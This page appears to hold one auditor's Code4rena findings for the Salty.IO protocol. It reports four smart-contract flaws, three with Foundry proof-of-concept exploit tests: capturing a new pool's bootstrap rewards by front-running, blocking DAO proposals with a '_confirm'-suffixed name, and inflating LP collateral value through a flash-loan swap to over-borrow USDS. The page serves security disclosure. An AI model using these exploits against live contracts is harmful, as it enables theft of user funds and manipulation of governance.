Salty.IO - a3yip6's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L235-L273 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L57-L92

Vulnerability details

Whenever a new token is whitelisted, a specific amount of SALT token (i.e., daiConfig.bootstrappingRewards()) would be transferred to the corresponding pools. However, the initial reserve of the pools is zero, resulting in the first liquidity provider obtaining all initial SALT rewards, even with a tiny amount of tokens as liquidity.

Even worse, this may end up in a single address obtaining a large amount of SALT tokens, further resulting in manipulating the DAO procedure.

Impact

An honest user may be front-run and lose his reward. The malicious adversary will obtain a large amount of SALT token.

Proof of Concept

Here is how things happen:

1. Assuming a new token is going to be whitelisted and Alice notices that.
2. Alice calls finalizeBallot() to finalize the whitelisted token proposal and adds liquidity immediately.
3. Bob also tries to add liquidity but gets front-run by Alice
4. Alice gets all the initial rewards while Bob gets nothing.

Please use the following PoC to reproduce this procedure. Note that, our PoC is based on Foundry, just copy it to the contract project and run forge test --match-contract ClaimRewardTest --match-test testClaimRewards --rpc-url <http rpc>. The script will log the reward of Alice and Bob, respectively, before and after adding liquidity.

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../src/dev/Deployment.sol";
import "../src/pools/PoolMath.sol";
import "../src/pools/PoolUtils.sol";
import "forge-std/console.sol";

contract ClaimRewardTest is Deployment {

    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);

    function setUp() public {
        initializeContracts();
		grantAccessAlice();
		grantAccessBob();
		grantAccessCharlie();
		finalizeBootstrap();

		vm.startPrank(address(emissions));
		salt.transfer(alice, 50000000 ether);
		salt.transfer(address(dao), 2000000 ether);
        vm.stopPrank();

        vm.startPrank(address(alice));
        salt.approve(address(staking), type(uint256).max);
        vm.stopPrank();

		vm.startPrank(DEPLOYER);
		wbtc.transfer(alice, 10 * 10 ** 8);
		wbtc.transfer(bob, 10 * 10 ** 8);
		vm.stopPrank();

		vm.label(address(weth), "WETH");
		vm.label(address(wbtc), "WBTC");
    }

    function testClaimRewards() public {
        vm.startPrank(alice);
        vm.warp(block.timestamp + 45 days);
        IERC20 testToken = new TestERC20("TEST", 18);
        testToken.transfer(address(bob), 10 ether);

        staking.stakeSALT( 50000000 ether );
        proposals.proposeTokenWhitelisting(testToken, "https://tokenIconURL", "This is a test token");
        proposals.castVote(1, Vote.YES);
        vm.warp(block.timestamp + 10 days);
        dao.finalizeBallot(1);
        upkeep.performUpkeep();
        vm.stopPrank();


        bytes32 poolID = PoolUtils._poolID(testToken, wbtc);
        console.log("Initial Alice Reward");
        console.log(collateralAndLiquidity.userRewardForPool(address(alice), poolID));
        console.log("Initial Bob Reward");
        console.log(collateralAndLiquidity.userRewardForPool(address(bob), poolID));

		vm.startPrank(alice);
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        testToken.approve(address(collateralAndLiquidity), type(uint256).max);
		collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            testToken,
            wbtc,
			10 ether, 
			10 * 10 ** 8, 
			0 ether, 
			block.timestamp, 
			true
		);
		vm.stopPrank();

        vm.startPrank(bob);
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        testToken.approve(address(collateralAndLiquidity), type(uint256).max);
		collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            testToken,
            wbtc,
			10 ether, 
			10 * 10 ** 8, 
			0 ether, 
			block.timestamp, 
			true
		);
        vm.stopPrank();

        console.log("Alice Reward After Bob Deposit");
        console.log(collateralAndLiquidity.userRewardForPool(address(alice), poolID));
        console.log("Bob Reward After Bob Deposit");
        console.log(collateralAndLiquidity.userRewardForPool(address(bob), poolID));

	}
}

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L240-L255 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L81-L118

Vulnerability details

Whenever a new proposal is created, Salty.io will check if a secondary confirmation exists. The corresponding code snap is as followed:

// Proposals.sol#L103
require( openBallotsByName[ string.concat(ballotName, "_confirm")] == 0, "Cannot create a proposal for a ballot with a secondary confirmation" );

A adversary can create a similar propose with extra string "_confirm" as postfix, thereby blocking the original proposal since a secondary confirmation exists.

Impact

DAO can never change the contract address and website link.

Proof of Concept

Here is how things happen:

1. Alice try to create a new proposal changing the contract address.
2. Bob notice this proposal and front run it with another similar proposal (i.e., adding "_confirm" postfix).
3. Alice's transaction is reverted, since a secondary confirmation exists.

Please use the following PoC to reproduce this procedure. Note that, our PoC is based on Foundry, just copy it to the contract project and run forge test --match-contract TestPropose --match-test testPropose --rpc-url <http rpc>. The script will show that Alice's transaction is reverted due to the previous mentioned reason.

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../src/dev/Deployment.sol";
import "../src/pools/PoolMath.sol";
import "../src/pools/PoolUtils.sol";
import "forge-std/console.sol";

contract TestPropose is Deployment {

    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);

    function setUp() public {
        initializeContracts();
		grantAccessAlice();
		grantAccessBob();
		grantAccessCharlie();
		finalizeBootstrap();

		vm.startPrank(address(emissions));
		salt.transfer(alice, 10000000 ether);
		salt.transfer(bob, 10000000 ether);
        vm.stopPrank();

        vm.startPrank(address(alice));
        salt.approve(address(staking), type(uint256).max);
        vm.stopPrank();
        vm.startPrank(address(bob));
        salt.approve(address(staking), type(uint256).max);
        vm.stopPrank();
    }

    function testPropose() public {
        vm.warp(block.timestamp + 45 days);

        vm.startPrank(bob);
        staking.stakeSALT( 10000000 ether );
        proposals.proposeSetContractAddress("contractName_confirm", address(1), "description");
        vm.stopPrank();

        vm.startPrank(alice);
        staking.stakeSALT( 10000000 ether );
        vm.expectRevert("Cannot create a proposal for a ballot with a secondary confirmation");
        proposals.proposeSetContractAddress("contractName", address(1), "description");
        vm.stopPrank();
	}
}

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L221-L236

Vulnerability details

Salty.io allows users to borrow USDS by depositing the LP tokens of WETH and WBTC. However, the price of the LP token is calculated based on (r0 * p0 + r1 * p1) / totalSupply, which is subject to manipulation. The wrap finance hack is one infamous example. The correct calculation should be 2 * sqrt(r0 * r1) * sqrt(p0 * p1) / totalSupply. For more details, please check the analysis here.

By swapping from WBTC to WETH, attackers can largely increase the reserve of WBTC tokens, much larger than the decrease of WETH tokens. The token price remains the same, as it depends on the price aggregator. Thus, attackers can largely increase the price of the LP token and borrow extra USDS.

Impact

A malicious adversary can borrow extra USDS, resulting in great financial losses.

Proof of Concept

Here is how the attack happens:

1. Assuming Alice initialized pools with reasonable reserves.
2. Bob borrows a large amount from WBTC and WETH through the flash loan and deposits a portion of them.
3. Bob swaps from WBTC to WETH, largely increasing the price of the LP token he just deposited.
4. Bob borrows extra USDS, which is larger than the actual value of the original deposited tokens.
5. Bob swaps from WETH to WBTC and repays the flash loan.

Please use the following PoC to reproduce this procedure. Note that, our PoC is based on Foundry, just copy it to the contract project and run forge test --match-contract BorrowUSDSTest --match-test testBorrowUSDS --rpc-url <http rpc>. The script will show that attackers can largely increase the amount of borrowable USDS with little cost.

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../src/dev/Deployment.sol";
import "../src/pools/PoolMath.sol";
import "forge-std/console.sol";

contract BorrowUSDSTest is Deployment {

    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);

    function setUp() public {
        initializeContracts();

		grantAccessAlice();
		grantAccessBob();
		grantAccessCharlie();
		grantAccessDeployer();
		grantAccessDefault();

		finalizeBootstrap();

		vm.startPrank(DEPLOYER);
		weth.transfer(alice, 20000000 ether);
		wbtc.transfer(alice, 20000000 * 10 ** 8);
		dai.transfer(alice, 20000000 ether);
		vm.stopPrank();

		vm.startPrank(DEPLOYER);
		weth.transfer(bob, 20000000 ether);
		wbtc.transfer(bob, 20000000 * 10 ** 8);
		dai.transfer(bob, 20000000 ether);
		vm.stopPrank();

        vm.startPrank(alice);
        weth.approve(address(collateralAndLiquidity), type(uint256).max);
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        dai.approve(address(collateralAndLiquidity), type(uint256).max);
        weth.approve(address(pools), type(uint256).max);
        wbtc.approve(address(pools), type(uint256).max);
        dai.approve(address(pools), type(uint256).max);
		vm.stopPrank();
        vm.startPrank(bob);
        weth.approve(address(collateralAndLiquidity), type(uint256).max);
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        dai.approve(address(collateralAndLiquidity), type(uint256).max);
        weth.approve(address(pools), type(uint256).max);
        wbtc.approve(address(pools), type(uint256).max);
        dai.approve(address(pools), type(uint256).max);
		vm.stopPrank();

		vm.label(address(weth), "WETH");
		vm.label(address(wbtc), "WBTC");
		vm.label(address(dai), "DAI");

		// Have alice add liquidity
		vm.startPrank(alice);
		collateralAndLiquidity.depositLiquidityAndIncreaseShare(
			weth, 
			dai, 
			1 ether, 
			priceAggregator.getPriceETH(), 
			0 ether, 
			block.timestamp, 
			true
		);
		collateralAndLiquidity.depositLiquidityAndIncreaseShare(
			dai, 
			wbtc, 
            priceAggregator.getPriceBTC(),
			1 * 10 ** 8, 
			0 ether, 
			block.timestamp, 
			true
		);
		collateralAndLiquidity.depositCollateralAndIncreaseShare(
			priceAggregator.getPriceETH() / 10 ** 10, 
			priceAggregator.getPriceBTC(), 
			0 ether, 
			block.timestamp, 
			true
		);
		vm.stopPrank();
    }

    function testBorrowUSDS() public {
		// Have bob add liquidity
		vm.startPrank(bob);
		collateralAndLiquidity.depositCollateralAndIncreaseShare(
			priceAggregator.getPriceETH() / 10 ** 10, 
			priceAggregator.getPriceBTC(), 
			0 ether, 
			block.timestamp, 
			false 
		);

        console.log("Borrow Amount (before swap): ", collateralAndLiquidity.maxBorrowableUSDS(address(bob)));

        uint256 swapAmount = priceAggregator.getPriceBTC() * 10 / 10 ** 10;
        uint256 wbtcAmount = pools.depositSwapWithdraw(wbtc, weth, swapAmount, 0 ether, block.timestamp + 1);

        console.log("Borrow Amount (after swap) : ", collateralAndLiquidity.maxBorrowableUSDS(address(bob)));

        uint256 wethAmount = pools.depositSwapWithdraw(weth, wbtc, wbtcAmount, 0 ether, block.timestamp + 1);

        console.log("USD loss                   : ", (swapAmount - wethAmount) * priceAggregator.getPriceETH() / 10 ** 18);

		vm.stopPrank();
	}
}

Recommended Mitigation Steps

The root cause of this vulnerability lies in the erroneous calculation of the LP token price. To address this issue, just use the following equation: LP price = 2 * sqrt(r0 * r1) * sqrt(p0 * p1) / totalSupply.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/price_feed/PriceAggregator.sol#L37-L44

Vulnerability details

During initialization, the owner will call the setInitialFeeds() function and set price feeds. Note that, this transaction is called by an EOA address instead of the DAO contract. We should be very careful to avoid centralized risk.

Unfortunately, the lack of abundant access control in the setInitialFeeds() function may result in price manipulation. Currently, it only requires address(priceFeed1) == address(0). However, priceFeed1, priceFeed2, and priceFeed3 should be differential, to avoid price manipulation attacks.

Note that, even the Deployment script itself makes such a mistake. See here.

So it is very important to add access control that require(address(priceFeed1) != address(priceFeed2) && address(priceFeed2) != address(priceFeed3) && address(priceFeed1) != address(priceFeed3)).

Impact

Erroneous settings in the price aggregator may result in price manipulation attacks.

Assessed type

Access Control